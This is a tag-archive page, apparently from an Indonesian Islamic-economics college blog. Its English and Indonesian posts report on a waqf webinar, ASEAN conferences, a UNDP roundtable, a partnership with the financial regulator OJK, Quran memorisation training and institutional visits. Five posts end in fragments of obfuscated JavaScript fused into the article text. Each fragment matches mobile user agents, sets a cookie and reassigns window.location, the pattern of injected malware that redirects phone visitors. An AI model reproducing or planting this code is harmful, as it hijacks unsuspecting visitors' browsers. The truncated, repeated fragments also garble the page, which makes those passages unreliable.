All posts tagged: islamic Finance

International Talk Series Waqf Management in Ottoman Empire Era

No comments

The International Talk Series recently presented the Director of ISEFAM Sakarya University, Assoc. Prof. Dr. Sulëyman KAYA. The Talk Series was utilising webinars, the seminars through the web. Irham Amir, L.c, M.Sc. opened the seminar as the moderator and the translator. Talk Series continued with a speech by Dr. Syafi’i Antonio as the chairman of the Tazkia Foundation. Sir. Syafi’i explained the general condition of Waqf in Indonesia and shows his interest to know about Waqf in Ottoman Empire such as Cash Waqf. Following this, Mr. Irham invited Prof. Sulëyman to deliver the seminar.


Prof. Sulëyman explained the Waqf system in the Ottoman Empire. The Ottoman Waqf institution managed most of Ottoman lands at that time. Not only land, property and money (Dinars and Dirhams) are also used as objects of Waqf. Qardhul hasan and ba’I istighlal were the most used contract for Waqf in this empire. These had a profound effect on the state. The professor also discussed the legal endowments with goods containing elements of usury. The institution ensured that the goods used were halal in term of Islam perspective. Some Ottoman scholars said that endowments with items with usury are not permitted while others allowed if the element of unavoidably usury less than 15 per cent. After the collapse of the Ottoman Empire, Waqf management was dramatically felling down. Turkish welfare was threatened. Some of the existing Waqf land has turned into a church.

Even now there are many mosques built by individuals not by the institution. As such, the Turkish government now seeks to restore the function and role of Waqf institution in order to return the Glory of Ottoman Waqf Management.

The next session is question and answer guided by the moderator. The first questioner asked about the Waqf application system. Prof. Sulëyman said that no application nowadays is used yet. The Turkish Waqf system still utilises conventional method by sending administrators from branch offices to inhabitants collect Waqf assets and manage Waqf. The second questioner asked the contribution of Waqf to the country’s income, and the professor stated that Waqf in Ottoman empire did not contribute to state’s income, so that the profits obtained were directly managed by the Waqf institution.

The third questioner asked is Waqf in Turkey spread in Turkey only or abroad? Prof. Sulëyman answered that Waqf was also distributed to Sudan, Nigeria and Palestine in which more focused on daily needs funds. The question and answer session ended up after the Asr Athan, and the moderator closed the seminar.

Watch the live video of this event:

Rizqi ZakiyaInternational Talk Series Waqf Management in Ottoman Empire Era
read more

Dosen Tazkia Go ASEAN

No comments

Tiap konferensi internasional yang diikuti, menjadi peluang bagi dosen untuk berkiprah di luar negeri. Kali ini dosen Tazkia go ASEAN.

Sebanyak delapan dosen senior Sekolah Tinggi Ekonomi Islam (STEI) Tazkia mengikuti the 6th ASEAN Universities International Conference on Islamic Finance (the 6th AICIF) yang diadakan oleh International Council of Islamic Finance Educators (ICIFE).

Pelopor ekonomi Islam di Indonesia ini memang menjadi salah satu anggota ICIFE. Organisasi ini tiap tahun memang mengadakan konferensi internasional. Tahun ini bersama-sama dengan anggotanya yaitu dari Malaysia, Indonesia, Brunei Darussalam, Thailand, dan FIlipina mengadakan the 6th AICIF. Sebagai tuan rumah adalah Mindanau State University, acara pun diadakan di New World Makati Hotel, Manila, Filipina pada 14-15 November 2018.

Rombongan STEI Tazkia dipimpin oleh Ketua STEI Tazkia, Murniati Mukhlisin, diikuti oleh delapan dosen senior yaitu: Luqyan Tamanni, Miftakhussurur, Yaser Syamlan, Rusdiana Priatna, Afif Zaerofi, Grandis Imama Hendra, Nurizal Ismail dan Rahma Wijayanti. Para dosen ini mewakili semua program studi yang ada di Tazkia yaitu Pascasarjana Ekonomi Syariah, Bisnis dan Keuangan Syariah, Muamalat, Akuntansi Syariah, Ekonomi Syariah, Diploma 3 Keuangan Mikro Syariah.

Tim peneliti ini membentangkan penelitiannya seputar tata kelola syariah, perbankan dan pasar modal syariah, sistem keuangan moneter dan asuransi syariah, serta keuangan sosial syariah.

Dengan keikutsertaan di konferensi internasional ini, Murniati mengatakan, “Untuk memberikan peluang bagi dosen mempresentasikan hasil penelitian sehingga memperkaya Tridharma pendidikan di kampus. Juga membawa Kampus Tazkia di level ASEAN melalui berbagai kerjasama dengan berbagai instansi di kawasan ini”.

Untuk itu selain membentangkan hasil risetnya pada konferensi ini, tim juga mengadakan kunjungan ke KBRI Manila dan Asian Development Bank. Bahkan, Ketua STEI Tazkia, Murniati menyampaikan tausiyah di KBRI dan salah satu anggota tim, Nurizal mengisi Khutbah Jum’at pada 16/11. Adapun agenda di Asian Development Bank di Manila adalah untuk membahas potensi kerjasama dengan kampus. Selain itu, diadakan juga penandatanganan memorandum of understanding (MoU) antara STEI Tazkia dan Mindanau State University.

Bagi ekonomi Islam lokal dan internasional, Murniati menilai, pengembangan ekonomi syariah di kawasan ASEAN masih didominasi oleh Malaysia dan Indonesia. Brunei sudah mulai menunjukkan geliat keuangan syariah, Filipina dan Thailand sudah mulai walau agak lamban tapi tidak terlihat di Singapura dan Myanmar. “Diharapkan dengan adanya perjumpaan pendidik bidang keuangan syariah di kawasan ASEAN dapat bersinergi untuk mengembangkan ekonomi syariah, industri halal, regulasi syariah lebih baik lagi, paling tidak dari sisi pendidikan dan penyediaan sumber daya manusia”, kata Murniati menjelaskan.

Murniati menambahkan, STEI Tazkia juga berminat untuk menjadi tuan rumah konferensi internasional ini di lain waktu. Menurutnya, kampus Tazkia sudah diminta oleh beberapa peserta untuk menjadi tuan rumah tahun depan namun karena ikut harus ikut antri, maka Kampus Tazkia akan menjadi tuan rumah tiga tahun lagi.

Miftahul AnwarDosen Tazkia Go ASEAN
read more

Sharing STEI Tazkia pada Event UNDP (United Nations Development Program) Indonesia.

No comments

Jakarta, 25 September 2018 M / 15 Muharram 1440 H, United Nations Development Program (UNDP) Indonesia mengadakan Roundtable Discussion dengan Tema : “Leveraging Innovative Financing for Development: Islamic Banking & Finance for SDGs” mengundang Tazkia untuk berbagi pengalaman penerapan ekonomi dan keuangan Syariah di Indonesia. Murniati Mukhlisin, Ketua STEI Tazkia, hadir menyampaikan betapa Maqashid Syariah memilki tujuan yang sama dengan Sustainable Development Goals (SDGs) yang dituju oleh UNDP. Murniati juga menjelaskan besarnya potensi keuangan syariah di dunia. Berbagai negara di Eropa seperti Perancis, Jerman, Luxembourg, UK terlebih lagi negara Muslim seperti Iran, Malaysia, UAE, Arab Saudi dan Indonesia memiliki perhatian besar terhadap perkembangan keuangan syariah yang nampak dari pertumbuhan aset. Dengan dibentuknya Komite Nasional Keuangan Syariah, lembaga pemerintah bekerjasama untuk meningkatkan market share keuangan syariah. Walaupun termasuk penyumbang tertinggi, perbankan syariah yang saat ini masih dalam posisi 5,7% dibandingkan market share perbankan konvensional.

Inisiatif masyarkat juga muncul dalam memberikan kontribusi pada perkembengan keuangan syariah, diantaranya kontribusi Tazkia untuk mendukung konversi tidak kurang dari 15 Bank Syariah di Indonesia, memberdayakan lebih dari 10.000 kepala keluarga di Jawa Barat & NTB dengan konsep ZISWaf.
Imam Teguh Saptono (Ketua BWI), Rifki Islmail (Departemen Ekonomi dan Keuangan Syariah Bank Indonesia), Abdullah Rahman Wibowo (Dirut BNI Syariah), Ibrahim Ali Shoukry (Resident Representative dari Islamic Development Bank). Ronald Yusuf Wijaya (Ketua Umum Asosiasi Fintech Syariah Indonesia) juga hadir berbagi pengalaman penerapan keuangan syariah dalam ranah yang berbeda. Kombinasi ini menjadi masukan agar keuangan syariah di Indonesia dapat berkembang lebih baik lagi.

Dengan dukungan dari UNDP, regulator, perbankan syariah, FinTech, dunia pendidikan, dan lembaga sosial, diharapkan tujuan mulia ekonomi syariah yang juga senada dengan SDGs dapat tercapai dengan sebaik mungkin, ujar Murniati. y|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSharing STEI Tazkia pada Event UNDP (United Nations Development Program) Indonesia.
read more

Sinergi Program OJK bersama STEI Tazkia

No comments

Kamis, 6 September 2018 / 25 Dzulhijjah 1439 H. Sentul City, Bogor. Tim OJK yang dihadiri oleh Ibu Fadilah Kartikasasi (Direktur Pasar Modal Syariah), Ibu Dyah Mustika (Kepala Bagian), IbuA�Wuri Ekawati Putri (Kepala Sub Bagian), dan ibu NurulA�Adilah (Staff) berkunjung ke Kampus STEI Tazkia untuk menindaklanjuti kerjasama pengembangan platform Investasi Syariah untuk Generasi Muda. H adir menyambut rombongan Ibu Murniati Mukhlisin (Ketua STEI Tazkia), Bapak Miftkahus Surut (Wakil Ketua Bidang Humas & Kemahasiswaan), dan juga Bapak Tuba Jazil (Kepala Program Study Manajemen Bisnis Syariah).

Dalam diskusi ringan antara kedua lembaga, disepakati kerjasama pengembangan program investasi syariah untuk kalangan remaja, khususunya tingkat SMA dan perguruan tinggi. Program ini sebagai upaya OJK untuk mempersiapkan generasi muda yang lebih siap menyongsong masa depan dengan sadar investasi syariah. Senada dengan OJK, STEI Tazkia sebagai kampus pelopor Ekonomi Islam, juga memiliki tujuan sama untuk mengedukasi masyarakat, termasuk generasi muda untuk semakin sadar akan Ekonomi Syariah, termasuk keuangan syariah dan investasi syariah.

Kerjasama antara OJK dan STEI Tazkia, juga bukan untuk pertama kali nya, Join seminar, Sharing Pemateri, dan juga even lain telah dikembangkan oleh kedua lembaga untuk semakin memperkuat kontribusi keduanya dalam mengedukasi Ekonomi Syariah pada masyarakat luas.

Semoga dengan sinergi kedua lembaga ini, keuangan syariah semakin diterima masyakarat luas, tidak hanya bagi yang telah memiliki ekonomi mapan, tapi juga generasi muda yang akan memegang tampuk kepemimpinan di masa depan. |ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSinergi Program OJK bersama STEI Tazkia
read more

Training of Trainer Program Karantina Quran Civitas Tazkia bersama YKTN

No comments

Dengan izin Alloh Ta’ala, STEI Tazkia bekerjasama dgn Yayasan Karantina Tahfidz Nusantara (YKTN) mengadakan Training of Trainer (TOT) Menghafal Al Quran Sebulan pada hari Senin, 3 September 2018 / 22 Dzhulhijjah 1439 H.

TOT diikuti oleh para pembina, dosen, dan manajemen STEI Tazkia dr jam 08.00 sampai 18.00

Para peserta mengikuti pelatihan dgn penuh semangat di bawah bimbingan Ust. Makmun Al Qurtubi Al Hafidz dan Ust. Yadi Al Hafidz dari YKTN Kuningan Jawa Barat.

Alhamdulillah, YKTN sejak berdiri sejak tahun 2014, telah meluluskan lebih dari 6.000 penghafal al quran dan mempunyai 69 cabang, termasuk cabang STEI Tazkia.

Materi yg dipelajari diantaranya tahsin makharijul huruf, metoda menghafal Al Quran sebulan, dan Standar Operasional Prosedur (SOP) yang telah ditetapkan dalam program YKTN.

Program menghafal Al Quran meliputi program menghafal Al Quran 1 juz sabtu-ahad, menghafal Al Quran 5 juz satu pekan, menghafal Al Quran 15 juz setengah bulan, menghafal Al Quran 30 juz sebulan, program tahsin, dll.

Semoga upaya tersebut semakin menguatkan nilai Quran di Kampus STEI Tazkia dan seluruh Civitasnya |p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaTraining of Trainer Program Karantina Quran Civitas Tazkia bersama YKTN
read more

Rombongan STEI Tazkia Mengunjungi International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia

No comments

Publikasi karya ilmiah dari hasil penelitian dan pemikiran adalah sebuah keniscayaan, ia adalah salah satu dari bukti nyata ilmu pengetahuan yang dapat diaplikasikan oleh masyarakat. Namun jika karya ilmiah tersebut hanya dipublikasikan pada kalangan internal saja tentu juga tidak menunjukan kualitas yang baik dari para penulisnya. Solusinya adalah seleksi ketat agar setiap karya ilmiah dapat diterbitkan oleh lembaga eksternal, khususnya lembaga yang memiliki kredibilitas nasional dan internasional.

Guna mencapai publikasi karya ilmiah bertaraf internasional, maka pada 9 Agustus 2018/ 27 Dzulqa’dah 1439 H, STEI Tazkia melakukan kunjungan ke kantor International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia. Rombongan kunjungan yang dipimpin langsung oleh Ketua STEI Tazkia Dr. Murniati Mukhlisin, M.Acc diterima langsung oleh Datuk Jamil selaku pejabat IIIT di kantornya komplek International Islamic University Malaysia (IIUM).
Kunjungan ini mendiskusi kerjasama penerbitan antara Tazkia Press (STEI Tazkia) dengan pihak IIIT . Pihak STEI Tazkia mengajukan 10 Judul buku yang nantinya akan diseleksi untuk diterbitkan di lembaga penerbitan bertaraf internasional ini. Dr. Jamil menyebutkan bahwa proses penerbitan di lembaganya dilakukan dengan seleksi yang sangat ketat, khsususnya untuk isu-isu Islamisasi ilmu pengetahuan. Hal ini karena banyak akrya ilmiah yang ada tidak memiliki ruh dan islamic worldview yang jelas. Beliau berharap STEI Tazkia selalu istiqamah dalam upaya melakukan islamisasi ilmu pengetahuan khususnya dalam bidang ekonomi Islam. Salah satunya adalah dengan menerbitkan karya ilmiah dan buku para dosennya.


Dr. Murniati Mukhlisin menyampaikan bahwa penulisan buku teks khususnya bagi para dosen di STEI Tazkia terus digalakkan. a�?Kami sangat mendorong para dosen untuk menghasilkan karya yang nantinya akan menjadi buku daras tidak hanya bagi mahasiswa Tazkia namun juga bagi kampus lainnyaa�?. Hal ini diaminkan oleh Dr. Abdurrahman Misno BP, MEI, selaku Kepala Program Studi Hukum Ekonomi Syariah (Muamalah) yang juga menjadi anggota dalam kunjungan ini. Ia mengungkapkan bahwa publikasi yang baik diawali dengan riset mendalam serta seni dalam menyusun sebuah karya ilmiah.
Hasil dari kunjungan ini adalah dilakukan kerjasama untk terus meningkatkan publikasi artikel dan buku para dosen dan civitas akademika STEI Tazkia tidak hanya bagi internal namun juga untuk pihak eksteral dan bertaraf international. Inilah cita-cita STEI Tazkia untuk menjadi perguruan tinggi kelas dunia yang memiliki spesialisasi dalam bidang ekonomi Islam. Drm. i(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaRombongan STEI Tazkia Mengunjungi International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia
read more

International Muslim Scholar with Dr. Mustafa Desuki Kasbah, Al-Azhar University

No comments

STEI Tazkia received a visit from Dr. Mustafa Desuki Kasbah, a world-leading expert of Waqf, from Al-Azhar University, Cairo, Egypt and Ust. Nur Khasan From Tazakka on Monday, 6 August 2018,. The guests arrived at STEI Tazkia Campus at 08:00 am.A� Dr. M. Syafii Antonio, founder of Tazkia group, and Dr. Murniati Mukhlishin M.Acc., the Rector of Tazkia University College on Islamic Economics, were welcoming the guests in Campus. Warm friendship happened during the meeting and discussion.

On 9.00 am, the agenda continued by talk series related to contemporary issues and challenges in zakat and waqf application. Dr. Musthafa began his talk by explaining the establishment of Waqf that are consisted of four periods. Furthermore,A� he discussed contemporer issues regarding waqf and zakat. This talk uncovered audienceA� mindset.

The agenda was ended by the giving of a souvenir from STEI Tazkia to Dr. Musthafa and photo session. Hopefully this agenda will be continued with MoU as a gate of collaboration between STEI TAZKIA and two leading universities in Egypt, Al Azhar University and Ain Shams University.

__

-International Program and Partnership STEI TAZKIA- an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaInternational Muslim Scholar with Dr. Mustafa Desuki Kasbah, Al-Azhar University
read more

International Educational Trip to See Global Islamic Finance Practices

No comments

KSEI Progres STEI Tazkia has the opportunity to undertake one of the routine activities held annually, that is the International Educational-Trip program which is accountable by DEAR (Division of External and Affair Relationship) with brother Ahmad Dzaki Rabbani as the head of division. This program is in cooperation with the management of College of Islamic Economics Tazkia (STEI Tazkia) through the International Program represented by Mr. Muhammad Taqiyuddin Rahman.
On Monday, February 5th, 2018, KSEI Progres STEI Tazkia has visited one of the institutions located in Singapore, namely Muhammadiyah Islamic College of Singapore (MICS), which is one of the first Islamic universities in this state.
Singapore is a sovereign city-state and island country in Southeast Asia. It lies one degree north of the equator, at the southern tip of the Malay Peninsula, with Indonesiaa��s Riau Islands to the south and Peninsular Malaysia to the north. Singapore is the third leading financial center in the world and a cosmopolitan world city that plays an important role in international trade and finance. The Port of Singapore is one of the five busiest ports in the world.
Singapore has a long history of immigration. Its diverse population is 5 million, comprising Chinese, Malay, Indian, Asian descent, and Caucasian. About 42% of Singaporeans are foreigners who work and study there, while foreign workers account for 50% of the services sector.

In addition to this matter that quite interesting is the religious tolerance, religion in Singapore is characterized by a diversity of religious beliefs and practices because of a mixture of diverse ethnic communities originating from various countries. Major religious denominations are mostly present in Singapore. An analysis conducted by the Pew Research Center found that Singapore is the most diverse country in the world. Unlike the two neighboring countries, Indonesia and Malaysia, Islam is not a majority in Singapore. In the 2015 census, the largest number of followers in Singapore is Buddhism, which is 33% of Singaporea��s total population. Then Christianity 18.8%, Islam 14%.

MICS was founded by the Muhammadiyah Association (MA), a voluntary religious social organization founded in 1957. MICS is one of the many social arms the MA has set to meet the needs of society

Muhammadiyah Islamic College was established on April 15, 2000, in cooperation with the Muhammadiyah Association and IAIN Imam Bonjol, Padang. Located at 14 Jalan Selamat before moving to a new building in Lorong 13 Geylang in 2010. The first memorandum of understanding was signed in the auditorium of the Hasanah Mosque between the President of Ustaz Shaik Hussain Shaik Yacob and the Rector of IAIN Prof. Dr. Abdul Azais Dahlan, MA. The first program introduced was Daa��wah management.

Muhammadiyah Islamic College Singapore (MICS) can be regarded as the pioneer of the first post-secondary Islamic education institution in modern Singapore. MICS aspires to become the main provider of Islamic education at the Tertiary level.

Education at MICS serves as a bridge for a person in an advanced endeavor to actualize the principles and concepts of the Qura��an obtained in pursuit of a Certificate, Diploma or Degree. By doing so, these College graduates live and personify the spirit of the Qura��an and the life of Prophet Muhammad SAW. Some of these are the reason why KSEI Progres STEI Tazkia visit the MICS campus.

The International Educational-Trip activity was held from February 4th to February 12th, 2018. Singapore was the first stop of the trip and MICS was the first institution KSEI Progres STEI Tazkia visited.

The number of participants in this activity is 44 people, consisting of 42 students along with 2 lecturers from STEI Tazkia, among others are Mr. Muhammad Taqiyuddin Rahman as the representative of the STEI Tazkia International Program and Mr. Fakhrudin as the representative of the STEI Tazkia Student Affairs.

The event started with the opening from the Master of Ceremony and continued with remarks from Mr. Taqiyuddin as the representative of the STEI Tazkia and further remarks and presentations by Mr. Muhammad Ikhsanudin who is a representative of the MICS. He explained the history and development of Islam in Singapore, as well as the establishment of MICS and how it can still be exist until now even though the Islamic community in Singapore is a minority.

Lastly, the event was closed with the handover of souvenirs and taking group photos as well as the submission of a cooperation proposals in order to maintain a good relationship between STEI Tazkia and MICS.

By : present.kseiprogres.com

Rizqi ZakiyaInternational Educational Trip to See Global Islamic Finance Practices
read more

Sinergi Industri Program Study Muamalah STEI Tazkia dengan Karimsyah & Pathners

No comments

Jakarta, 17 Januari 2018.
Salah satu problem yang dihadapi oleh perguruan tinggi berkaitan dengan kemampuan mahasiswanya adalah terjadinya gap antara teori dan aplikasi suatu ilmu di masyarakat. Adanya ketidaksinkronan antara teori yang dipelajari dengan praktik yang ada di lapangan, hal ini mengakibatkan banyaknya alumni perguruan tinggi yang tidak siap untuk memasuki pasar tenaga kerja. Efeknya adalah para sarjana yang menjadi pengangguran. Fenomena ini terjadi tidak hanya pada kampus kampus swasta namun juga terjadi pada kampus negeri yang masih kurang memperhatikan penting nya link and match dalam kurikullum mereka.
STEI Tazkia sebagai satu-satunya Kampus Pioner Ekonomi Islam telah mendobrak gap tersebut. Salah satu langkah yang dilakukan adalah rekonstruksi kurikulum yang dilakukan secara rutin dengan menyesuaikannya dengan industri.
Langkah praktis selanjutnya yang dilakukan adalah menjalin kerjasama lebih erat dengan industri. Sebagai kampus yang telah lama dikenal dekat dengan industri syariah kembali STEI Tazkia membuktikan kepeloporannya dalam hal ini. Program Studi Hukum Bisnis Islam yang langsung diwakili oleh Kepala Program Studinya yaitu Dr. Abdurrahman Misno BP, MEI melakukan kunjungan sekaligus usaha untuk semakin mendekatkan prodi ini ke Industri.
Kunjungan kali ini adalah ke Karimsyah and Pathners sebagai law firm terkemuka di Indonesia dalam industri ekonomi Syariah. “Kami akan terus menjalin hubungan dengan industri agar mahasiswa dan alumni kami memamahi dunia kerja yang sebenarnya” ungkap Dr. Misno. Ia menambahkan bahwa beberapa butir kesepakatan akan segera ditindaklanjuti, diantaranya adalah; pelatihan legal drafter, program magang, pemateri dalam Islamic Law Days, penelitian skripsi mahasiswa dan dosen serta kerjasama dalam sosialisasi sengketa ekonomi Syariah.
